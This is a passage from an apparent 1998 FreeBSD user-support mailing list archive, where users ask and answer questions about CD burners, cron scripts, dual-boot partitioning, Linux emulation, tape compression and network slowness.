dump files to disk so I could burn them on my CD-Rom burner > > > (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody > > > got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. > > > > cdrecord doesn't work for it? > > Nope, it won't recognize the drive. I'm wondering if cdrecord is dependant on > the scsi card? The one here at work is an amd driver. Hmm, as long as the kernel detects it as a worm, it's up to cdrecord to do the correct things. > > At home, I've yet to get my old Philips CDD2000 to work with either worm or > cdrecord. I've got that on a 2940. According to the README of cdrecord-1.6a12 --------------------------------- snip --------------------------- Cdrecord has been implemented with a Philips CDD 521. Cdrecord now is maintained with the following drives: COMPRE/Matsushita/Panasonic CW-7502 Philips CDD-2000 TEAC CD-R50S --------------------------------- snap --------------------------- !!! Attention !!! The Makefile in sysutils/cdrecord used to make the wrong link. The correct way is to let scgx point to rworm0.ctl and not sgx. It has been corrected in the Makefile on Mar 27 23:14:05 1998. I have here a Yamaha CDR100 working on a 2940UW with rtprio 1 cdrecord -v -eject -debug speed=4 dev=6,0 isofile.iso Good luck, -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:30:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA03162 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:30:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from newshub1-work.home.com (newshub1-work.home.com [24.0.0.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA03157 for ; Thu, 9 Apr 1998 07:30:14 -0700 (PDT) (envelope-from chado@p3.net) From: chado@p3.net Received: from jshipper ([209.125.244.3]) by newshub1-work.home.com (8.8.5/8.8.5-AtHome) with SMTP id HAA12460 for ; Thu, 9 Apr 1998 07:30:07 -0700 (PDT) Message-Id: <3.0.3.32.19980409103054.009062a0@popmail.p3.net> X-Sender: chado@popmail.p3.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Thu, 09 Apr 1998 10:30:54 -0400 To: freebsd-questions@FreeBSD.ORG Subject: Could not ping - SOLVED!!! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To all that answered my plea for assistance, Thanks for the helpful hints and suggestions. Gavin Cameron & Greg Lehey were correct in stating that the full path needed to be specified in the program to get the cron to ping correctly. Frankly, a completely junior mistake Im ashamed to admit to but I felt it necessary to thank the list for their help. I got no such help from ANY of the IRC channels associated with the unix community. Keep up the good work, JS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:31:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA03731 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:31:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA03630 for ; Thu, 9 Apr 1998 07:31:13 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id JAA15744; Thu, 9 Apr 1998 09:29:20 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091429.JAA15744@horton.iaces.com> Subject: Re: Installation Problems To: chrismar@mail.eclipse.net (Chris Martino) Date: Thu, 9 Apr 1998 09:29:19 -0500 (CDT) Cc: questions@FreeBSD.ORG In-Reply-To: from Chris Martino at "Apr 9, 98 09:53:27 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Chris Martino said: > To Whom it May Concern: > > Now, my question to you is, from what I tell you does it seem like we did > anything wrong? I don't know what happened so I hoping you can tell me > some ideas to try. As far as I know he is doing a restore of > Win95 tonight and tomorrow we are gonna start totally from scratch. You did a lot of things wrong. If Win95 said there was 640 meg free, and fips only came up with 384 meg, then you probably should have defragmented the drive first, that would have cleared more. Next, fips made this D: drive for you. That's the partition you wanted to get rid of in fdisk and install FreeBSD into. Sounds like you may have hit 'a' in fdisk to use the entire disk. I'm not sure how you did that without first deleting the DOS partition. Maybe fips failed, but it doesn't sound like it since you rebooted a couple of times. I've never used the install.bat. I've always made a boot floppy, so I can't say what the problem was with the booting problems. The "F1... BSD" prompt was boot easy, telling you you had only one partition on the disk, but when Ok, tonight, make a boot floppy. Boot from it, run novice. Create FreeBSD partition. In disklabel, choose 'a' for Auto defaults for all. This may not be what you ultimately want, but it gets you started learning Unix. Then choose what you want installed. -- "Five left and cut or I waste everyone in first class." --Lonhyn T. Jasinskyj To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:41:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA05128 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:41:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA05123 for ; Thu, 9 Apr 1998 07:41:09 -0700 (PDT) (envelope-from travler@flash.net) Received: from flash.net (auasc12-63.flash.net [208.194.195.63]) by endeavor.flash.net (8.8.8/8.8.5) with ESMTP id JAA10632 for ; Thu, 9 Apr 1998 09:41:07 -0500 (CDT) Message-ID: <352CDDB1.3CEB8A25@flash.net> Date: Thu, 09 Apr 1998 09:39:45 -0500 From: Chuck Barker Reply-To: travler@flash.net X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Question - Wingz reports "Bus error" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I have FreeBSD 2.2.5 running X windows and I'm trying to get Wingz to run using the Linux emulator. A 'modstat' shows that the linux emulator is available, but when I start the wingz executable it immediately reports a "bus error". I've tried to insure the linux libraries are installed, but I may not have them installed correctly. Any suggestions ? Chuck travler@flash.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:46:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA05837 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:46:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.eclipse.net (chrismar@mail.eclipse.net [207.207.192.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA05828 for ; Thu, 9 Apr 1998 07:46:17 -0700 (PDT) (envelope-from chrismar@mail.eclipse.net) Received: (from chrismar@localhost) by mail.eclipse.net (8.8.6/8.8.6) id KAA19162; Thu, 9 Apr 1998 10:46:06 -0400 (EDT) Date: Thu, 9 Apr 1998 10:46:06 -0400 (EDT) From: Chris Martino To: "Paul T. Root" cc: questions@FreeBSD.ORG Subject: Re: Installation Problems In-Reply-To: <199804091429.JAA15744@horton.iaces.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Okay let me clarify a few things so I know what do do differently later tonight. Oh, we did defragment last night before re ran anything, and we till ended up with 354 meg D partition. Ok, so once we make the D drive delete it using the FDISK on the DOS side or the one you use once you begin the installation? And the 1st thing we do with that drive it delete it, so it can be used for FreeBSD... Okay that make sense now. The rest I can follow I think. I just am wondering which fdisk you are talking about. Anyways, I'll let you know how it turns out! Thanks alot!! Chris __ +-----------------------------------+ | Chris Martino, Support Technician | | chrismar@eclipse.net | +---+-----------------------------------+---+ | _ _ _ | | ___ ___| (_)_ __ __ ___ _ _ ___| |_ | | / -_) __| | | '_ \_-< -_)_| ' ` -_) _/ | | \___\___|_|_| .__/__/___(_)_|_|___|\__) | | |_| Eclipse Internet Access | +-------------------------------------------+ | (800) 483-1223 -=- http://www.eclipse.net | +-------------------------------------------+ On Thu, 9 Apr 1998, Paul T. Root wrote: > In a previous message, Chris Martino said: > > To Whom it May Concern: > > > > Now, my question to you is, from what I tell you does it seem like we did > > anything wrong? I don't know what happened so I hoping you can tell me > > some ideas to try. As far as I know he is doing a restore of > > Win95 tonight and tomorrow we are gonna start totally from scratch. > > You did a lot of things wrong. > > If Win95 said there was 640 meg free, and fips only came up with 384 meg, > then you probably should have defragmented the drive first, that would have > cleared more. > > Next, fips made this D: drive for you. That's the partition you wanted to get > rid of in fdisk and install FreeBSD into. Sounds like you may have hit 'a' in > fdisk to use the entire disk. I'm not sure how you did that without first > deleting the DOS partition. Maybe fips failed, but it doesn't sound like > it since you rebooted a couple of times. > > I've never used the install.bat. I've always made a boot floppy, so I can't > say what the problem was with the booting problems. > > The "F1... BSD" prompt was boot easy, telling you you had only one partition > on the disk, but when > > Ok, tonight, make a boot floppy. Boot from it, run novice. Create FreeBSD > partition. In disklabel, choose 'a' for Auto defaults for all. This may not > be what you ultimately want, but it gets you started learning Unix. Then > choose what you want installed. > > > > -- > "Five left and cut or I waste everyone in first class." > --Lonhyn T. Jasinskyj > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:53:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA06656 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:53:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pili.adn.edu.ph (art@pili.adn.edu.ph [165.220.57.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA06648 for ; Thu, 9 Apr 1998 07:53:31 -0700 (PDT) (envelope-from art@pili.adn.edu.ph) Received: from localhost (art@localhost) by pili.adn.edu.ph (8.8.7/8.8.7) with SMTP id XAA00549 for ; Thu, 9 Apr 1998 23:02:22 +0800 (PHT) (envelope-from art@pili.adn.edu.ph) Date: Thu, 9 Apr 1998 23:02:21 +0800 (PHT) From: Arthur Alacar cc: freebsd-questions@FreeBSD.ORG Subject: PostgreSQL 6.3.1 In-Reply-To: <3.0.3.32.19980409103054.009062a0@popmail.p3.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG GOOD DAY!! anyone here using Postgresql? am having trouble querying large records... it always returns a segmentation fault... i tried inquiring at postgres mailing-list and they told me that their postgres can manage > Millions of records and heard so far about > 2GB size of a table... is this then a platform problem? a problem with my OS? am running 2.2.5 .. i tried monitoring my system resources using 'top' and everytime a query on postgres (with large resulting records) is issued.. huge amount of memory is being allocated... > 16MB and suddenly ... returns a segmentation fault.. AM ALSO NOTICING THAT MY SWAP SPACE IS UNTOUCHED... any HELP for this problem? thank you :) .a.r.t. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:58:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA07376 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:58:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kjsl.com (Limpia.KJSL.COM [198.137.202.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA07371 for ; Thu, 9 Apr 1998 07:58:08 -0700 (PDT) (envelope-from javier@kjsl.com) Received: (from javier@localhost) by kjsl.com (8.8.5/8.8.5) id HAA13363; Thu, 9 Apr 1998 07:58:03 -0700 (PDT) Date: Thu, 9 Apr 1998 07:58:03 -0700 (PDT) Message-Id: <199804091458.HAA13363@kjsl.com> From: Javier Henderson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Doug White Cc: TezMan , freebsd-questions@FreeBSD.ORG Subject: Re: vms-like shell In-Reply-To: References: <352C5311.7F8191E5@neosoft.com> X-Mailer: VM 6.33 under Emacs 19.34.1 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White writes: > I'd check the net -- some (sadistic) person may have ported it. Someone who likes commands in English, for instance. -jav To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:12:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA08708 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:12:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.inw.net (ns.inw.net [206.28.240.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA08675 for ; Thu, 9 Apr 1998 08:12:08 -0700 (PDT) (envelope-from mcneills@inw.net) Received: from mcneills (ke2ppp23.inw.net [207.2.107.64]) by ns.inw.net (8.8.6/8.8.6) with SMTP id KAA03217 for ; Thu, 9 Apr 1998 10:12:06 -0500 (CDT) Received: by mcneills (VPOP3 - Unregistered) with SMTP; Thu, 9 Apr 1998 10:12:54 -0500 Message-ID: <015001bd63c9$e3d02fd0$0200a8c0@Dell> Reply-To: "Dennis Reiter" From: "Dennis Reiter" To: Subject: Re: Proxy software, etc. Date: Thu, 9 Apr 1998 10:12:19 -0500 MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.2038.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.2039.0 X-Server: VPOP3 V1.2.5 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Another idea, which I've used successfully, is to use and old 386 and run IPROUTE, which is a DOS program. Doesn't even need a HD, it'll fit on a floppy boot disk. All you have to have in it is the modem & network card, and if you set the bios, don't even need video or a keyboard. It isn't as configurable as natd, though. You're right, I'd never pay for Wingate for my personal use, and I'd NEVER buy MS PROXY!! Pricing is kind of funny: for what you'd pay for a "good" mail server program under windows, you can buy another PC, put FreeBSD on it & run Sendmail & QPopper, and still be better off. Wacky. Regards, Denny Reiter denny@kewanee.net ICQ # 823496 "Remember: Wherever you go; There you are." -----Original Message----- From: Doug White To: Jeffrey Lynn Jeffries Cc: Dennis Reiter ; freebsd-questions@FreeBSD.ORG Date: Thursday, April 09, 1998 1:42 AM Subject: Re: Proxy software, etc. >On Wed, 8 Apr 1998, Jeffrey Lynn Jeffries wrote: > >> On Wed, 8 Apr 1998, Dennis Reiter wrote: >> >> > I wouldn't really consider $250 for the 5-user Pro version that outrageous >> > in the Windows world, this is what we use at work. Take a look at MS >> > Proxy!! >> >> Both are outside of my price range - school is costing lots of $$$ and I >> can't find it in my heart to sell a PC :) >> >> >> > Anyways, use natd, it'll blow Wingate away. >> >> If I'm not mistaken, natd only works from the inside network to the >> internet; I also want the ability to get into the network from the >> internet with services like ftp, httpd, telnet, etc. That's where the >> proxy services come in, right? > >No; natd can be configured to map host/ports to ports on the natd host. > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:27:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10194 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:27:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id IAA10174; Thu, 9 Apr 1998 08:27:36 -0700 (PDT) (envelope-from ip@albatross.mcc.ac.uk) Received: from albatross.mcc.ac.uk [130.88.202.16] by serenity.mcc.ac.uk with esmtp (Exim 1.81 #4) id 0yNJEi-0007m5-00; Thu, 9 Apr 1998 16:27:32 +0100 Received: (from ip@localhost) by albatross.mcc.ac.uk (8.8.8/8.8.4) id QAA09483; Thu, 9 Apr 1998 16:27:32 +0100 (BST) From: Ian Pallfreeman Message-Id: <199804091527.QAA09483@albatross.mcc.ac.uk> Subject: compression on Exabyte 8700LT? To: questions@FreeBSD.ORG, scsi@FreeBSD.ORG Date: Thu, 9 Apr 1998 16:27:31 +0100 (BST) Reply-To: ip@mcc.ac.uk X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've recently acquired another Exabyte drive, an 8700LT. This drive claims to be able to write 10Gb to a 112m tape in compressed mode, but I'm getting just the 5Gb I'd expect uncompressed. There are no switches other than the SCSI id on the box. The manual tells me to enable compression in software. ``mt -f /dev/rst1 comp 1'' logs the error "select returned an error of 5" to the console and gives me an I/O error from mt(1). How do I permanently enable compression? FreeBSD 3.0-CURRENT #9: Thu Apr 9 16:06:09 BST 1998 ip@lurch:/usr/src/sys/compile/LURCH [...] ahc0: rev 0x00 int a irq 9 on pci0.19.0 ahc0: aic7880 Single Channel, SCSI Id=7, 16/255 SCBs [...] st0 at scbus0 target 4 lun 0 st0: type 1 removable SCSI 2 st0: Sequential-Access density code 0x13, drive empty st1 at scbus0 target 5 lun 0 st1: type 1 removable SCSI 2 st1: Sequential-Access density code 0x0, drive empty TIA, Ian. -- Network Unit, SNOT Team, Manchester Computing, The University, Manchester, UK. mail: ip@mcc.ac.uk | phone: +44-161-275-6006 | fax: +44-161-275-6040 Where once we had dragons to slay, now we just sacrifice chickens. 35,000 users, 622Mb/s networking, and a 486. :-( To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:30:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10753 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:30:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from localhost.intranet ([207.170.35.68]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10738 for ; Thu, 9 Apr 1998 08:30:15 -0700 (PDT) (envelope-from adam@netsonic.com) Received: from l095w1 ([172.18.0.53]) by localhost.intranet (8.8.8/8.8.8) with SMTP id KAA01826; Thu, 9 Apr 1998 10:28:12 -0500 (CDT) Message-Id: <199804091528.KAA01826@localhost.intranet> X-Sender: adam@mail.netsonic.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 09 Apr 1998 10:29:40 -0500 To: freebsd-questions@FreeBSD.ORG From: "Adam L. Simpson" Subject: FreeBSD on a Novell Network with NT Clients - Slow Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello: We are running a FreeBSD box on a Novell Network with NT Clients on a intranet. After about 4 months without any problems - performance wise, all of a sudden the box is very slow to react. A reinstall of the os and web server did not help nor did running a separate box with the 2.2.5 and 2.2.6 release. Same effect. Reaction to an initial telnet session is very slow but once in, reactions are immediate. The same with the web server. If we go to the web site, it is slow to respond, then once it is in, reacts very quickly but then sputters out again after a bit and is very slow somtimes as long as 1 minute to respond. Now at first we thought maybe somthing on the box may have blown up... But after reinstalls, replicating on other machines, replacement of nic card etc. It has continued to operate the same.. slow. I have come to the conclusion it is somthing on our internal network but havnt a clue where else to look... We have tried different gateways, different nic cards, differnet ip addresses, different network segments... etc.. all to no avail.. the only thing that does work is when I put it on a different network or outside the firewall. The next thing we did was enable a box and locate it outside the firewall. Now if we go to this box from inside the network, it responds fine - very fast and responds almost immediately. Does anyone have any clues as to where else we can look or what else we may try. We are not getting any complaints from anyone who is surfing the net, accessing the AS400 or any of the file servers. So it appears to be somthing between the network and my FreeBSD box. Any help would be appreciated on what we may want to try. First Box Internal - turtle slow FreeBSD intranet 2.2.1-RELEASE FreeBSD 2.2.1-RELEASE #0: Tue Apr 1 11:51:00 GMT 1997 jkh@whisker.cdrom.com:/usr/src/sys/compile/GENERIC i386 Second Box - External - works fine. 207# uname -a FreeBSD 207.170.35.125 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Wed Mar 25 02:28:49 GMT 1998 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC i386 I put the second box on the internal network and the response of it was slow as the first Appreciate the help. Adam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:32:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA11167 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:32:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA11133 for ; Thu, 9 Apr 1998 08:31:23 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id KAA16067; Thu, 9 Apr 1998 10:30:47 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091530.KAA16067@horton.iaces.com> Subject: Re: FreeBSD Sun Floppy? To: dhw@whistle.com (David Wolfskill) Date: Thu, 9 Apr 1998 10:30:46 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <199804091416.HAA25492@pau-amma.whistle.com> from David Wolfskill at "Apr 9, 98 07:16:09 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, David Wolfskill said: > >Date: Wed, 08 Apr 1998 11:18:09 -0500 > >From: Bob Alberti > > >Hi! I recently came into an old SparcClassic. I'd like to install FreeBSD > >on it. Is there any way to build a floppy image to start the process, > >particularly if one must use a PC to build the floppy? The machine itself > >has a blank 300 MB hard drive and no CD. > > I have no reason to believe that the machine has any provision for > booting from floppy. (Booting from a floppy, in that environment, is > even more of an unnatural act than trying to use one in multi-user > mode.) I bet you could. It's just a device to the Open Boot Prom. The problem is getting a sun kernel small enough to boot. -- Blue skies and all that. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:32:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA11238 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:32:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA11202 for ; Thu, 9 Apr 1998 08:32:33 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id IAA28022 for ; Thu, 9 Apr 1998 08:32:03 -0700 (PDT) Received: from pau-amma.whistle.com(207.76.205.64) by whistle.com via smap (V1.3) id sma028020; Thu Apr 9 08:31:41 1998 Received: (from dhw@localhost) by pau-amma.whistle.com (8.8.7/8.8.7) id IAA25761 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 08:31:41 -0700 (PDT) (envelope-from dhw) Date: Thu, 9 Apr 1998 08:31:41 -0700 (PDT) From: David Wolfskill Message-Id: <199804091531.IAA25761@pau-amma.whistle.com> To: freebsd-questions@FreeBSD.ORG Subject: Re: Ping program not working from cron Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Date: Wed, 08 Apr 1998 23:37:35 -0400 From: Chado >When I run it from the command line it works fine...but when I install it >in the cron it doesnt find any of the local machines. Are you sure the Perl script in question is even finding the "ping" program? cron has a rather limited environment... including the PATH (generally). Since you're using a Perl script, though, you could $ENV{'PATH'} .= ":/sbin:/bin:/usr/sbin:/usr/local/bin"; or some such thing before invoking external programs. david -- David Wolfskill dhw@whistle.com (650) 577-7158 pager: (650) 401-0168 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:35:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA12161 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:35:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA12134 for ; Thu, 9 Apr 1998 08:35:09 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id KAA16098; Thu, 9 Apr 1998 10:34:02 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091534.KAA16098@horton.iaces.com> Subject: Re: Question - Wingz reports "Bus error" To: travler@flash.net Date: Thu, 9 Apr 1998 10:34:02 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352CDDB1.3CEB8A25@flash.net> from Chuck Barker at "Apr 9, 98 09:39:45 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Chuck Barker said: > Hello, > > I have FreeBSD 2.2.5 running X windows and I'm trying to get Wingz to > run using > the Linux emulator. A 'modstat' shows that the linux emulator is > available, but when > I start the wingz executable it immediately reports a "bus error". I've > tried to insure > the linux libraries are installed, but I may not have them installed > correctly. Any > suggestions ? Make sure your linux emulator is working first. Install something that is known to work, say Acroread, it's in packages. Once that works, then you'll be down to getting Wingz to talk to the emulator. -- Flare when you hear the crickets -- Dan Rossi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:40:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA13262 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:40:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA13252 for ; Thu, 9 Apr 1998 08:40:20 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id KAA16153; Thu, 9 Apr 1998 10:37:54 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091537.KAA16153@horton.iaces.com> Subject: Re: How to make a non-dangerously dedicated disk? To: andre.albsmeier@mchp.siemens.de (Andre Albsmeier) Date: Thu, 9 Apr 1998 10:37:54 -0500 (CDT) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG In-Reply-To: <199804091428.QAA08782@intern> from Andre Albsmeier at "Apr 9, 98 04:28:52 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Andre Albsmeier said: > > > > > > I did run into one other problem. After rdumping my FS's to a solaris tape host, > > > > I wanted to dump the dump files to disk so I could burn them on my CD-Rom burner > > > > (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody > > > > got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. > > > > > > cdrecord doesn't work for it? > > > > Nope, it won't recognize the drive. I'm wondering if cdrecord is dependant on > > the scsi card? The one here at work is an amd driver. > > Hmm, as long as the kernel detects it as a worm, it's up to cdrecord > to do the correct things. cdrecord 